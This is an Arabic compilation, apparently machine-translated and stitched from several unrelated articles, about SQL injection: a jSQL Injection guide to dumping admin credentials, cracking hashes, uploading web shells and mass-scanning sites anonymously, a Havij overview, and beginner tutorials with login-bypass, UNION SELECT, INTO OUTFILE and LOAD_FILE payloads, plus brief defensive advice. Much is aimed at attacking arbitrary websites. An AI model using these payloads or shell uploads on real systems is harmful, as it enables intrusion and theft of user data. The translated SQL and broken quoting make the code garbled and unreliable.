حقن SQL من الداخل والخارج. تعليمات استخدام حقن jSQL - أداة متعددة الوظائف لإيجاد واستغلال حقن SQL في Kali Linux تنزيل برنامج بحث حقن SQL

قم بتشغيل الملف الذي تم تنزيله نقرتين متتاليتين(يجب ان يملك آلة افتراضية ).

3. عدم الكشف عن هويته عند التحقق من الموقع لحقن SQL

إعداد Tor و Privoxy في Kali Linux

[قسم قيد التطوير]

إعداد Tor و Privoxy على نظام Windows

[قسم قيد التطوير]

إعدادات وكيل حقن jSQL

[قسم قيد التطوير]

4. فحص الموقع لحقن SQL باستخدام حقن jSQL

العمل مع البرنامج بسيط للغاية. فقط أدخل عنوان الموقع واضغط على ENTER.

توضح لقطة الشاشة التالية أن الموقع عرضة لثلاثة أنواع من عمليات حقن SQL في وقت واحد (يشار إلى المعلومات المتعلقة بهم في الزاوية اليمنى السفلية). من خلال النقر على أسماء الحقن ، يمكنك تبديل الطريقة المستخدمة:

أيضا ، لقد عرضنا بالفعل قواعد البيانات الموجودة.

يمكنك مشاهدة محتويات كل جدول:

عادةً ما يكون الجزء الأكثر إثارة للاهتمام في الجداول هو بيانات اعتماد المسؤول.

إذا كنت محظوظًا ووجدت بيانات المسؤول ، فمن السابق لأوانه الابتهاج. تحتاج أيضًا إلى العثور على لوحة الإدارة ، حيث يمكنك إدخال هذه البيانات.

5. ابحث عن المشرفين باستخدام حقن jSQL

للقيام بذلك ، انتقل إلى علامة التبويب التالية. هنا تقابلنا قائمة بالعناوين المحتملة. يمكنك تحديد صفحة واحدة أو أكثر للتحقق منها:

الراحة هي أنك لست بحاجة إلى استخدام برامج أخرى.

لسوء الحظ ، لا يوجد الكثير من المبرمجين المهملين الذين يخزنون كلمات المرور بنص واضح. في كثير من الأحيان في سلسلة كلمة المرور نرى شيئًا مثل

8743b52063cd84097a65d1633f5c74f5

هذا تجزئة. يمكنك فك تشفيرها بالقوة الغاشمة. و ... يحتوي حقن jSQL على قاذف غاشم مدمج.

6. تجزئات التأثير الغاشم باستخدام حقن jSQL

الراحة بلا شك هي أنك لست بحاجة للبحث عن برامج أخرى. هناك دعم للعديد من التجزئات الأكثر شيوعًا.

إنه ليس الأفضل الخيار الأفضل. من أجل أن تصبح خبيرًا في فك رموز التجزئة ، يوصى بالكتاب "" باللغة الروسية.

ولكن ، بالطبع ، عندما لا يكون هناك برنامج آخر في متناول اليد أو لا يوجد وقت للدراسة ، فإن حقن jSQL مع وظيفة القوة الغاشمة المدمجة سيكون مفيدًا.

هناك إعدادات: يمكنك تعيين الأحرف التي يتم تضمينها في كلمة المرور ، ونطاق طول كلمة المرور.

7. عمليات الملف بعد الكشف عن حقن SQL

بالإضافة إلى العمليات مع قواعد البيانات - قراءتها وتعديلها ، إذا تم اكتشاف حقن SQL ، يمكن إجراء عمليات الملفات التالية:

  • قراءة الملفات الموجودة على الخادم
  • تحميل ملفات جديدة على الخادم
  • تحميل قذائف على الخادم

وكل هذا يتم تنفيذه في حقن jSQL!

هناك قيود - يجب أن يكون لخادم SQL امتيازات الملف. معقول مسؤولي النظامتم تعطيلهم والوصول إلى نظام الملفاتلا يمكن الحصول عليها.

من السهل التحقق من وجود امتيازات الملف. انتقل إلى إحدى علامات التبويب (قراءة الملفات ، وإنشاء غلاف ، وتحميل ملف جديد) وحاول تنفيذ إحدى العمليات المشار إليها.

ملاحظة أخرى مهمة للغاية - نحتاج إلى معرفة المسار المطلق الدقيق للملف الذي سنعمل به - وإلا فلن يعمل شيء.

انظر إلى لقطة الشاشة التالية:

يتم الرد على أي محاولة للعمل على ملف من خلال: لا يوجد امتياز FILE(لا توجد امتيازات ملف). ولا يمكن فعل شيء هنا.

إذا كان لديك خطأ آخر بدلاً من ذلك:

مشكلة في الكتابة إلى [directory_name]

هذا يعني أنك حددت بشكل غير صحيح المسار المطلق حيث تريد كتابة الملف.

من أجل افتراض مسار مطلق ، يجب على المرء أن يعرف على الأقل نظام التشغيلالذي يعمل عليه الخادم. للقيام بذلك ، قم بالتبديل إلى علامة التبويب الشبكة.

مثل هذا الإدخال (سلسلة Win64) يعطينا سببًا لافتراض أننا نتعامل مع نظام التشغيل Windows:

Keep-Alive: timeout = 5، max = 99 الخادم: Apache / 2.4.17 (Win64) PHP / 7.0.0RC6 Connection: Keep-Alive Method: HTTP / 1.1 200 OK Content-Length: 353 Date: Friday، 11 Dec 2015 11:48:31 GMT X-Powered-By: PHP / 7.0.0RC6 نوع المحتوى: text / html؛ محارف = UTF-8

هنا لدينا بعض أنظمة Unix (* BSD ، Linux):

ترميز التحويل: مجزأ التاريخ: الجمعة ، 11 ديسمبر 2015 11:57:02 GMT الطريقة: HTTP / 1.1 200 موافق الاحتفاظ بالحيوية: المهلة = 3 ، الحد الأقصى = 100 الاتصال: البقاء على قيد الحياة نوع المحتوى: نص / html X- بدعم من: PHP / 5.3.29 الخادم: Apache / 2.2.31 (Unix)

وهنا لدينا CentOS:

الطريقة: HTTP / 1.1 200 OK تنتهي الصلاحية: الخميس ، 19 نوفمبر 1981 08:52:00 ملف تعريف ارتباط GMT: PHPSESSID = 9p60gtunrv7g41iurr814h9rd0؛ المسار = / الاتصال: X-Cache-Lookup: MISS من t1.hoster.ru:6666 الخادم: Apache / 2.2.15 (CentOS) X-Powered-By: PHP / 5.4.37 X-Cache: MISS from t1.hoster.ru Cache-Control: no-store، no-cache، must-revalidate، post-check = 0، pre-check = 0 Pragma: no-cache Date: Friday، 11 Dec 2015 12:08:54 GMT ترميز النقل: نوع المحتوى المقسم: نص / html ؛ محارف = WINDOWS-1251

في Windows ، يكون مجلد الموقع النموذجي هو ج: \ الخادم \ البيانات \ htdocs \. ولكن ، في الواقع ، إذا "فكر" شخص ما في إنشاء خادم على Windows ، فمن المحتمل جدًا أن هذا الشخص لم يسمع أي شيء عن الامتيازات. لذلك ، يجب أن تبدأ المحاولة مباشرة من دليل C: / Windows /:

كما ترى ، سار كل شيء بشكل مثالي في المرة الأولى.

لكن قذائف حقن jSQL نفسها تثير شكوكي. إذا كان لديك امتيازات ملف ، فيمكنك تحميل شيء ما باستخدام واجهة الويب.

8. معظم مواقع فحص لحقن SQL

وحتى حقن jSQL يحتوي على هذه الميزة. كل شيء بسيط للغاية - قم بتحميل قائمة بالمواقع (يمكن استيرادها من ملف) ، حدد تلك التي تريد التحقق منها وانقر فوق الزر المناسب لبدء العملية.

الإخراج عن طريق حقن jSQL

يعد jSQL Injection أداة جيدة وقوية لإيجاد ثم استخدام حقن SQL الموجودة في المواقع. مزاياها التي لا شك فيها: سهولة الاستخدام ، والوظائف ذات الصلة المضمنة. يمكن أن يكون حقن jSQL أفضل صديق للمبتدئين عند تحليل مواقع الويب.

من بين أوجه القصور ، أود أن أشير إلى استحالة تحرير قواعد البيانات (على الأقل لم أجد هذه الوظيفة). مثل جميع الآلات مع واجهة المستخدم الرسوميةيمكن أن تعزى عيوب هذا البرنامج إلى استحالة استخدامه في البرامج النصية. ومع ذلك ، فإن بعض الأتمتة ممكنة في هذا البرنامج أيضًا - بفضل وظيفة فحص الموقع الشامل المضمنة.

يعد حقن jSQL أكثر ملاءمة للاستخدام من sqlmap. لكن sqlmap يدعم أنواعًا أكثر من حقن SQL ، ولديه خيارات جدار حماية الملفات ، وبعض الميزات الأخرى.

الخلاصة: حقن jSQL - أفضل صديقهاكر مبتدئ.

يمكنك العثور على مساعدة لهذا البرنامج في موسوعة Kali Linux على هذه الصفحة: http://kali.tools/؟

هافيج هو برنامج يعمل على التحقق من نقاط الضعف في موقع الويب. في أغلب الأحيان ، لا يتم استخدامه تمامًا لغرضه الرئيسي ، وهو تقديم حقن SQL. ولهذا السبب غالبًا ما يشار إلى الأداة باسم برنامج "المتسلل".

مبدأ التشغيل

باستخدام هذا التطبيقمن الممكن تنفيذ هجمات على خدمة ويب لتغيير تعبير SQL عن طريق التسلسل. إذا نجحت عملية الحقن ، فيتيح لك تعديل المنطق لتنفيذ طلب المستخدم وفقًا لاحتياجاتك الخاصة. في كثير من الأحيان ، أثناء الهجوم ، يتم إنشاء بصمة بسيطة (بصمات) لقاعدة البيانات ، وبعد ذلك يتم استيراد البيانات الضرورية منها ، على سبيل المثال ، قاعدة مستخدمين أو قاعدة بيانات مسؤول. حساب. في حالة وجود نقاط ضعف ، يمكن للخصم التفاعل مع الجزء الخلفي من تطبيق الويب. على وجه الخصوص ، يتيح هذا التنفيذ إمكانية تنفيذ الأوامر اللازمة على الخادم أو عرض الملفات الضرورية على جانب المضيف.

الاحتمالات

يمنحك برنامج هافيج القدرة على حفظ تجزئة كلمة المرور وتفريغ الجدول. يتيح لك البرنامج إجراء أنواع مختلفة من الحقن: حقن SQL المستند إلى الأخطاء ، وإدخال استعلام UNION في SQL ، والاستعلامات المكدسة حقن SQL ، وحقن SQL الأعمى المستند إلى الوقت ، وحقن SQL الأعمى المستند إلى منطقي. تعمل الأداة مع HTTPS وتدعم أكثر أنواع مختلفة DBMS: MSAccess و MySQL و Oracle و PostgreSQ وحتى Sybase. إذا لزم الأمر ، يمكن أن يعمل برنامج هافيج في سلاسل رسائل متعددة من خلال وكيل.

يمكن تحرير صيغة الشفرة المضمنة "يدويًا". أيضًا ، قبل بدء الهجوم ، يُسمح بتحديد قائمة بالكلمات الرئيسية التي تم البحث عنها أو أعمدة الجدول أو أنواع البيانات (على سبيل المثال ، الأعداد الصحيحة أو الأرقام الكسرية).

أثناء العملية ، يحتفظ برنامج هافيج بسجل تفصيلي للعمليات التي تم إجراؤها ، والذي يتم تخزينه في مجلد البرنامج بعد اكتمال الهجوم. واجهة التطبيق بديهية تمامًا ، وجميع عناصر التحكم الرئيسية هنا تناسب نافذة واحدة.

دلائل الميزات

  • إجراء حقن SQL بالصيغة المطلوبة ؛
  • دعم خيارات التنفيذ المختلفة ؛
  • البحث عن نقاط الضعف في المواقع والتطبيقات ؛
  • فرصة للعمل معها أنواع مختلفةنظم إدارة قواعد البيانات.
  • دعم بروتوكول HTTPS والوكيل.

حقن SQL هو هجوم يستخدم عبارات SQL الديناميكية من خلال التعليق على أجزاء معينة من العبارات أو عن طريق إضافة شرط سيكون دائمًا صحيحًا. يستهدف الثغرات في بنية تطبيقات الويب ويستخدم عبارات SQL لتنفيذ تعليمات SQL الخبيثة:

في هذه المقالة ، سنلقي نظرة على الأساليب المستخدمة في حقن SQL وكيفية حماية تطبيقات الويب من مثل هذه الهجمات.

كيف يعمل حقن SQL

تختلف أنواع الهجمات التي يمكن إجراؤها باستخدام حقن SQL في نوع محركات قاعدة البيانات المتأثرة. يستهدف الهجوم عبارات SQL الديناميكية. العبارة الديناميكية هي عبارة يتم إنشاؤها في وقت التشغيل بناءً على معلمات من نموذج ويب أو سلسلة استعلام URI.

النظر في تطبيق ويب بسيط مع نموذج تسجيل الدخول. يظهر رمز نموذج HTML أدناه:

  • يقبل النموذج عنوان بريد إلكتروني ثم يتم إرسال كلمة المرور إليه ملف PHP index.php المسمى ؛
  • يتم تخزين الجلسة في بسكويت. يتم تمكين هذه الإمكانية عن طريق تعيين علامة Remember_me. يتم استخدام طريقة الإرسال لإرسال البيانات. هذا يعني أن القيم لا تظهر في عنوان URL.

افترض أن طلب التحقق من صحة معرف المستخدم على جانب الخادم هو كما يلي:

  • يستخدم الطلب قيم المصفوفة $ _POST مباشرة دون تعقيمها ؛
  • يتم تشفير كلمة المرور باستخدام خوارزمية MD5.

سننظر في هجوم باستخدام SQL injection sqlfiddle. افتح عنوان URL http://sqlfiddle.com/ في متصفحك. ستظهر النافذة التالية على الشاشة.

ملاحظة: سوف تحتاج إلى كتابة جمل SQL:

الخطوة 1. أدخل هذا الرمز في اللوحة اليمنى:

إنشاء جدول "المستخدمين" (`id` INT NOT NULL AUTO_INCREMENT،` email` VARCHAR (45) NULL، `password` VARCHAR (45) NULL، PRIMARY KEY (` id`)) ؛ أدخل قيم المستخدمين (البريد الإلكتروني وكلمة المرور) (" [بريد إلكتروني محمي]"، md5 (" abc ")) ؛

الخطوة 2. انقر فوق " مخطط البناء».
الخطوة 3: أدخل الرمز أدناه في الجزء الأيسر:

حدد * من المستخدمين ؛

الخطوة 4. انقر فوق " قم بتشغيل SQL". سترى الناتج التالي:

افترض أن المستخدم قدم عنوان بريد إلكتروني [بريد إلكتروني محمي]و 1234 ككلمة المرور. قد يبدو الاستعلام المراد تنفيذه على قاعدة البيانات كما يلي:

يمكن تجاوز مثال كود حقن SQL أعلاه عن طريق التعليق على جزء من كلمة المرور وإضافة شرط سيكون دائمًا صحيحًا. لنفترض أن المهاجم يستبدل البيانات التالية في حقل عنوان البريد الإلكتروني:

[بريد إلكتروني محمي]"OR 1 = 1 LIMIT 1 -"]

و xxx في حقل كلمة المرور.

سيبدو البيان الديناميكي الذي تم إنشاؤه على النحو التالي:

  • [بريد إلكتروني محمي]ينتهي باقتباس واحد ينهي السلسلة ؛
  • OR 1 = 1 LIMIT 1 هو الشرط الذي سيكون دائمًا صحيحًا ، فهو يقصر النتائج التي تم إرجاعها على سجل واحد فقط.

0 ؛ "AND ... هو تعليق SQL يستبعد جزءًا من كلمة المرور.

انسخ الاستعلام أعلاه والصقه في مربع نص FiddleRun SQL كما هو موضح أدناه:

نشاط القرصنة: حقن SQL في تطبيقات الويب

لدينا تطبيق ويب بسيط متاح على http://www.techpanda.org/ تم جعله عرضة بشكل خاص لهجمات حقن SQL للمبتدئين لأغراض العرض التوضيحي. رمز نموذج HTML أعلاه مأخوذ من صفحة التفويض الخاصة بهذا التطبيق.

أنه يوفر الأمان الأساسي، مثل تعقيم حقل بريد إلكتروني. هذا يعني أنه لا يمكن استخدام الكود أعلاه لتجاوز هذه الآلية.

لتجاوزها ، يمكنك استخدام حقل كلمة المرور. يوضح الرسم البياني أدناه الخطوات التي يجب اتباعها:

افترض أن المهاجم قدم البيانات التالية:

الخطوة 1: تقديم [بريد إلكتروني محمي]كعنوان بريد إلكتروني ؛
الخطوة 2: أدخل xxx ') OR 1 = 1 -] ؛

يضغط على زر "إرسال".

سيتم توجيهه إلى لوحة الإدارة. سيبدو الطلب الذي تم إنشاؤه على النحو التالي:

يوضح الرسم البياني أدناه كيفية إنشاء الطلب:

هنا:

  • يفترض الطلب أنه يتم استخدام تشفير md5 ؛
  • يتم استخدام علامة اقتباس مفردة وأقواس إغلاق ؛
  • تمت إضافة شرط إلى عامل التشغيل والذي سيكون دائمًا صحيحًا.

كقاعدة عامة ، من أجل تحقيق أهدافهم ، يحاول المهاجمون استخدام عدة طرق مختلفة في هجوم حقن SQL.

أنواع أخرى من هجمات حقن SQL

يمكن أن تسبب حقن SQL ضررًا أكبر بكثير من تسجيل الدخول لتجاوز آلية التفويض. يمكن لبعض هذه الهجمات:

  • أداء حذف البيانات ؛
  • إجراء تحديث البيانات ؛
  • أداء إضافة البيانات ؛
  • قم بتشغيل الأوامر على الخادم الذي سيقوم بتنزيل البرامج الضارة وتثبيتها ؛
  • قم بإجراء تصدير إلى خادم المهاجم البعيد لبيانات قيمة ، مثل التفاصيل بطاقة إئتمان, بريد إلكترونيوكلمات المرور.

القائمة أعلاه ليست كاملة. إنه يعطي فكرة فقط عن مدى خطورة حقن SQL.

أدوات أتمتة حقن SQL

في المثال أعلاه ، استخدمنا أساليب الهجوم اليدوي. قبل أن تقوم بحقن SQL ، يجب أن تفهم أن هناك أدوات آلية تسمح لك بتنفيذ الهجمات بشكل أكثر كفاءة وأسرع:

  • SQLSmack ؛
  • SQLPing 2 ؛
  • SQLMap.

كيفية منع حقن SQL

وهنا عدد قليل قواعد بسيطة، والتي ستتيح لك حماية نفسك من هجمات حقن SQL:

يجب عدم الوثوق بإدخال المستخدم. يحتاج دائمًا إلى التعقيم قبل استخدام البيانات في عمليات SQL الديناميكية.

الإجراءات المخزنة- يمكنهم تغليف استعلامات SQL ومعالجة جميع بيانات الإدخال كمعلمات.

استفسارات معدة- يتم إنشاء الطلبات أولاً ، ثم تتم معالجة جميع بيانات المستخدم المقدمة كمعلمات. هذا لا يؤثر على بناء جملة SQL.

التعبيرات العادية- يمكن استخدامها للكشف عن احتمالية كود خبيثوإزالته قبل تنفيذ عبارات SQL.

حقوق الوصول للاتصال بقاعدة البيانات- ل حماية ضد حقن SQL، يجب منح الحسابات المستخدمة للاتصال بقاعدة البيانات فقط حقوق الوصول المطلوبة. سيساعد هذا في الحد من الإجراءات التي يمكن أن تؤديها عبارات SQL على الخادم.

رسائل خاطئة- لا ينبغي الكشف عنها معلومات سرية. رسائل خطأ مخصصة بسيطة مثل " عذرا ، كان هناك خطأ تقني. تم بالفعل إخطار الدعم حول هذا الموضوع. الرجاء معاودة المحاولة في وقت لاحقيمكن استخدام 'بدلاً من عرض استعلامات SQL التي تسببت في الخطأ.

تحياتي أيها القارئ. في الآونة الأخيرة ، كنت في أمان الويب ، ويرتبط العمل بهذا إلى حد ما. لأن بدأت أكثر فأكثر في ملاحظة الموضوعات في مختلف المنتديات ، مع طلب لإظهار كيف يعمل كل شيء ، قررت كتابة مقال. سيتم تصميم المقالة لأولئك الذين لم يواجهوا هذا ، ولكنهم يرغبون في التعلم. يوجد عدد كبير نسبيًا من المقالات على الويب حول هذا الموضوع ، لكنها معقدة بعض الشيء بالنسبة للمبتدئين. سأحاول وصف كل شيء بلغة واضحة وأمثلة مفصلة.

مقدمة

لفهم هذه المقالة ، لا تحتاج حقًا إلى معرفة لغة SQL ، ولكن على الأقل صبر جيد وقليل من العقل - من أجل الحفظ.

أعتقد أن قراءة واحدة للمقال لن تكون كافية لأن. نحتاج إلى أمثلة حية - كما تعلم ، فإن الممارسة في عملية الحفظ ليست ضرورية. لذلك ، سوف نكتب نصوصًا ضعيفة وندرب عليها.

ما هو حقن SQL؟
تتحدث لغة بسيطةهو هجوم على قاعدة البيانات سيسمح لك بتنفيذ بعض الإجراءات التي لم يخطط لها منشئ البرنامج النصي. مثال من الحياة الواقعية:

كتب الأب في مذكرة لوالدته أنها أعطت فاسيا 100 روبل ووضعتها على الطاولة. إعادة صياغة هذا إلى لغة SQL مزحة ، نحصل على:
احصل على 100 روبل من محفظتك وأعطها لفاسيا

منذ أن كتب الأب المذكرة بشكل سيئ (الكتابة اليدوية الخرقاء) ، وتركها على الطاولة ، رآها شقيق فاسيا ، بيتيا. قامت بيتيا ، بصفتها مخترقًا ، بإضافة "OR Petya" هناك وحصلت على الطلب التالي:
احصل على 100 روبل من محفظتك وأعطها لفاسيا أو بيتيا

قررت أمي ، بعد قراءة المذكرة ، أنها أعطت المال لفاسيا أمس وأعطت بيتيا 100 روبل. فيما يلي مثال بسيط على حقن SQL من واقع الحياة :) بدون تصفية البيانات (بالكاد تستطيع أمي كتابة خط اليد) ، حققت بيتيا ربحًا.

تحضير
للتدريب ، ستحتاج إلى أرشيف يحتوي على البرامج النصية المصدر لهذه المقالة. قم بتنزيله وفك ضغطه على الخادم. قم أيضًا باستيراد قاعدة البيانات وتعيين البيانات في الملف cfg.php

بحث حقن SQL

كما فهمت بالفعل ، يأتي الحقن من البيانات الواردة التي لم تتم تصفيتها. الخطأ الأكثر شيوعًا هو عدم تصفية المعرف الذي تم تمريره. حسنًا ، تقريبًا ، اقتباسات بديلة في جميع المجالات. سواء كان ذلك طلب GET / POST أو حتى ملف تعريف ارتباط!

معلمة إدخال رقمية
للممارسة ، نحن بحاجة إلى سيناريو index1.php. كما قلت أعلاه ، فإننا نستبدل علامات الاقتباس في معرف الأخبار.

لأن طلبنا لا يحتوي على تصفية:

$ id = $ _GET ["id"] ؛ الاستعلام $ = "حدد * من الأخبار حيث المعرف = $ id" ؛

سوف يفهم البرنامج النصي هذا على أنه

حدد * من الأخبار حيث المعرف = 1 "

وسوف يعطينا خطأ:
تحذير: يتوقع mysql_fetch_array () أن تكون المعلمة 1 موردًا ، قيمة منطقية معطاة في C: \ WebServ \ domains \ sqlinj \ index1.php في السطر 16

إذا لم يتم إلقاء أي خطأ ، فقد تكون هناك الأسباب التالية:

1.إدخال SQL غير موجود هنا - تمت تصفية الاقتباسات ، أو مجرد التحويل إلى (كثافة العمليات)
2. إخراج خطأ معطل.

إذا استنتج خطأ مع ذلك - يا هلا! لقد وجدنا النوع الأول من حقن SQL - معلمة الإدخال الرقمية.

معلمة إدخال السلسلة

سيتم إرسال الطلبات إلى index2.php. في ملف معين، يبدو الطلب كما يلي:
$ user = $ _GET ["user"] ؛ الاستعلام $ = "SELECT * FROM news WHERE user =" $ user ""؛

هنا نقوم باختيار الأخبار حسب اسم المستخدم ، ومرة ​​أخرى - لا تقم بالتصفية.
مرة أخرى نرسل طلبًا مع عرض أسعار:

أعطى خطأ. نعم! لذلك هناك نقطة ضعف. هذا يكفي لكي نبدأ - دعنا نبدأ في التدريب.

دعنا نتخذ إجراء

قليلا من النظرية

ربما لا يمكنك الانتظار لاستخراج شيء من هذا ، باستثناء الأخطاء. أولاً ، افهم أن العلامة " -- "يعتبر تعليقًا في لغة SQL.

انتباه! يجب أن تكون هناك مسافات قبلها وبعدها. في عنوان URL يتم تمريرها كـ %20

سيتم تجاهل كل ما يأتي بعد التعليق ، أي الطلب:
حدد * من الأخبار حيث المستخدم = "AlexanderPHP" - habrahabra

نفذ بنجاح. يمكنك تجربته على البرنامج النصي index2.php بإرسال طلب مثل هذا:

Sqlinj / index2.php؟ user = AlexanderPHP "٪ 20 -٪ 20habrahabr

تعلم المعلمة اتحاد. بلغة SQL كلمة رئيسية اتحادتُستخدم لدمج نتائج استعلامي SQL في جدول واحد. أي لسحب شيء نحتاجه من طاولة أخرى.

نحن نستفيد من هذا

إذا كانت المعلمة "رقمية" ، فلن نحتاج في الطلب إلى إرسال عرض أسعار ووضع تعليق بشكل طبيعي في النهاية. العودة إلى البرنامج النصي index1.php.

دعنا ننتقل إلى البرنامج النصي sqlinj / index1.php؟ id = 1 UNION SELECT 1. يبدو استعلام قاعدة البيانات لدينا كما يلي:
حدد * من الأخبار حيث المعرف = 1 UNION SELECT 1
وقد أخطأنا لأن. للعمل مع تجميع الاستعلام ، نحتاج إلى نفس عدد الحقول.

لأن نظرًا لأنه لا يمكننا التأثير على رقمهم في الاستعلام الأول ، نحتاج إلى تحديد رقمهم في الاستعلام الثاني بحيث يكون مساويًا للرقم الأول.

نختار عدد الحقول

اختيار الحقول بسيط للغاية ، ما عليك سوى إرسال الطلبات التالية:
sqlinj / index1.php؟ id = 1 UNION SELECT 1،2
خطأ…
sqlinj / index1.php؟ id = 1 UNION SELECT 1،2،3
خطأ مرة أخرى!
sqlinj / index1.php؟ id = 1 UNION SELECT 1،2،3،4،5
لا يوجد خطأ! إذن عدد الأعمدة هو 5.

مجموعة من
يحدث غالبًا أنه يمكن أن يكون هناك 20 أو 40 أو حتى 60 حقلاً. لذلك لا يتعين علينا استعراضها في كل مرة ، فنحن نستخدم مجموعة من

إذا كان الطلب
sqlinj / index1.php؟ id = 1 مجموعة حسب 2
لم تقدم أي أخطاء ، لذا فإن عدد الحقول أكثر من 2. نحاول:

sqlinj / index1.php؟ id = 1 مجموعة من 8
المرجع السابق ، نرى خطأً ، وبالتالي فإن عدد الحقول أقل من 8.

إذا لم يكن هناك خطأ في GROUP BY 4 ، ولكن كان هناك خطأ في GROUP BY 6 ، فإن عدد الحقول هو 5

تعريف أعمدة العرض
من أجل عدم عرض أي شيء من الطلب الأول ، يكفي استبدال معرف غير موجود ، على سبيل المثال:

sqlinj / index1.php؟ id = -1 UNION SELECT 1،2،3،4،5

من خلال هذا الإجراء ، حددنا الأعمدة التي يتم عرضها على الصفحة. الآن لاستبدال هذه الأرقام بـ معلومات ضرورية، تحتاج إلى متابعة الاستعلام.

إخراج البيانات

لنفترض أننا نعلم أن الجدول لا يزال موجودًا المستخدمينحيث توجد مجالات بطاقة تعريف, اسمو يمر.
نحتاج إلى الحصول على معلومات حول المستخدم بالمعرف = 1

لذلك دعونا نبني استعلامًا مثل هذا:

sqlinj / index1.php؟ id = -1 UNION SELECT 1،2،3،4،5 من المستخدمين حيث المعرف = 1
يستمر البرنامج النصي أيضًا في الإخراج

للقيام بذلك ، سنقوم باستبدال اسم الحقول بمكان الرقمين 1 و 3

sqlinj / index1.php؟ id = -1 اسم UNION SELECT، 2، pass، 4،5 من المستخدمين حيث المعرف = 1
لقد حصلنا على ما نحتاجه!

بالنسبة إلى "معلمة إدخال السلسلة" كما في البرنامج النصي index2.phpتحتاج إلى إضافة علامة اقتباس في البداية وعلامة تعليق في النهاية. مثال:
sqlinj / index2.php؟ user = -1 "UNION SELECT name، 2، pass، 4،5 من المستخدمين حيث المعرف = 1 -٪ 20

قراءة / كتابة الملفات

لقراءة الملفات وكتابتها ، يجب أن يمتلك مستخدم قاعدة البيانات أذونات FILE_PRIV.
كتابة الملفات
في الواقع ، كل شيء بسيط للغاية. لكتابة ملف ، سنستخدم الوظيفة النفقة.
sqlinj / index2.php؟ user = -1 "UNION SELECT 1،2،3،4،5 INTO OUTFILE" 1.php "-٪ 20
رائع ، لدينا الملف. وبالتالي ، يمكننا تحميل غلاف مصغر:
sqlinj / index2.php؟ user = -1 "UNION SELECT 1،""، 3،4،5 في الخارج" 1.php "-٪ 20
قراءة الملفات
قراءة الملفات أسهل من كتابتها. يكفي مجرد استخدام الوظيفة تحميل الملف، لمكان الحقل الذي نختاره:

Sqlinj / index2.php؟ user = -1 "UNION SELECT 1، LOAD_FILE (" 1.php ")، 3،4،5 -٪ 20

وهكذا ، فقد قرأنا الملف المكتوب السابق.

طرق الحماية

حماية نفسك أسهل من استغلال ثغرة أمنية. فقط قم بتصفية البيانات. إذا كنت تقوم بتمرير الأرقام ، فاستخدم
$ id = (int) $ _GET ["id"] ؛
كما اقترح المستخدم. الدفاع باستخدام PDO أو البيانات المعدة.

بدلا من الإكمال

حول هذا أريد أن أنهي الجزء الأول حول "حقن SQL للمبتدئين". في الثانية ، سننظر في أمثلة أكثر صعوبة للحقن. حاول كتابة نصوص ضعيفة وتنفيذ الاستعلامات بنفسك.
وتذكر ، لا تثق في أي مستخدم لموقعك.

حقن SQLكافٍ فرصة جيدةليحصل عليها المتسلل
الوصول إلى الخادم. وبقليل من الجهد ، هو
لا يزال يحصل عليه 🙂

المبرمج في الداخل

في الوقت الحاضر ، يتم دعم العمل مع قواعد البيانات
تقريبًا جميع لغات البرمجة ، مثل BASIC و C ++ و Java و PERL و PHP و Assembler وحتى JavaScript! ولا يُطلق على هذه البرامج سوى DBMS - أنظمة إدارة قواعد البيانات. غالبًا ما تستخدم قواعد البيانات لحل المشكلات المالية ،
المحاسبة وتنظيم الموظفين ، لكنهم وجدوا أيضًا تطبيقاتهم على الإنترنت.

غالبًا ما تستخدم قواعد البيانات لكتابة تطبيقات الويب. يعد استخدامها أكثر ملاءمة لتخزين بيانات تسجيل المستخدم ومعرفات الجلسة وتنظيم عمليات البحث والمهام الأخرى التي تتطلب مزيدًا من المعالجة.
كمية البيانات. تُستخدم تقنيات الخادم للوصول إلى قاعدة البيانات: PHP و PERL و ASP وما إلى ذلك. هنا يبدا المرح. عندما تكون على الخادم
يتم تثبيت جميع التصحيحات ، ويقوم جدار الحماية بحظر جميع المنافذ باستثناء 80 ، أو عندما تكون المصادقة مطلوبة للوصول إلى بعض البيانات ، يمكن للمخترق استخدام SQL Injection للتصدع. يتمثل جوهر هذا الهجوم في استخدام خطأ عند تقاطع تقنيات WEB و SQL. النقطة هي أن الكثير صفحات الانترنتلمعالجة بيانات المستخدم ، وتشكيل ملف خاص SQLاستعلام DB. يمكن أن يؤدي الاستخدام المتهور لهذه التقنية إلى نتائج مثيرة للاهتمام ...

حقن SQL

لشرح الهجوم ، دعنا نتخيل أنك ذهبت إلى الموقع لتنزيل أداة مهمة للغاية ولاحظت برعب أن المستخدم المسجل فقط هو من يمكنه القيام بذلك ، والتسجيل ، بالطبع ، يكلف المال حان الوقت لتتذكر كيف
الوصول إلى قواعد البيانات SQL. على سبيل المثال ، قد يبدو التحقق من اسم المستخدم وكلمة المرور في PHP كما يلي:

نتيجة $ = mysql_db_query ($ db، "SELECT * من $ table حيث المستخدم =" $ login "AND
تمرير = "كلمة مرور دولار") ؛
num_rows $ = mysql_num_rows ($ result)؛
mysql_close (رابط $) ؛
إذا ($ num_rows! = 0)
{
// المصادقة جيدة
}
آخر
{
// خطأ مصادقة
}

لقد أضفت تعليقين ، "المصادقة جيدة" - بدلاً من ذلك ينبغي
انتقل إلى الكود الذي سيتم تنفيذه إذا كانت كلمة المرور وتسجيل الدخول صحيحين. "خطأ مصادقة" آخر هو المكان الذي سيتم فيه وصف الرمز ، والذي يتم تنفيذه في حالة عدم صحته. إذا قمت بملء النموذج ، فسيظهر الطلب بالشكل "http://www.server.com؟login=user&password=31337" ، حيث www.server.com هو الاسم
الخادم الذي نحاول الاتصال به. وجدنا ما كنا نبحث عنه ، وبالتالي سنعود للعمل مرة أخرى SQL. لذلك ، إذا كان يجب عليك تحديد تسجيل الدخول وكلمة المرور للترخيص ، فسيتم إنشاء ملف SQLسيبدو الطلب كما يلي:

حدد * من المستخدمين حيث تسجيل الدخول = "المستخدم" و
كلمة المرور = "31337"

هذا يعني شيئًا من هذا القبيل: أعد إليّ جميع السجلات من قاعدة بيانات المستخدمين باستخدام "المستخدم" لتسجيل الدخول وكلمة المرور "31337". في حالة وجود مثل هذا السجل ، يتم تسجيل المستخدم ، ولكن إذا لم يكن كذلك ، فلا ... ولكن في ظل ظروف معينة ، يمكن إصلاح كل شيء. يشير هذا إلى الموقف الذي لا يتحقق فيه التطبيق من محتوى البيانات المرسلة أو يتحقق بشكل غير كامل من وجودها SQLتعليمات. في هذا المثال ، يتم فحص الحقلين لتسجيل الدخول وكلمة المرور ، ولكن إذا كانت كلمة المرور هي "31337" AND email = " [بريد إلكتروني محمي]"(بدون علامتي اقتباس مزدوجتين) ، فسيكون طلب البحث مختلفًا بعض الشيء:

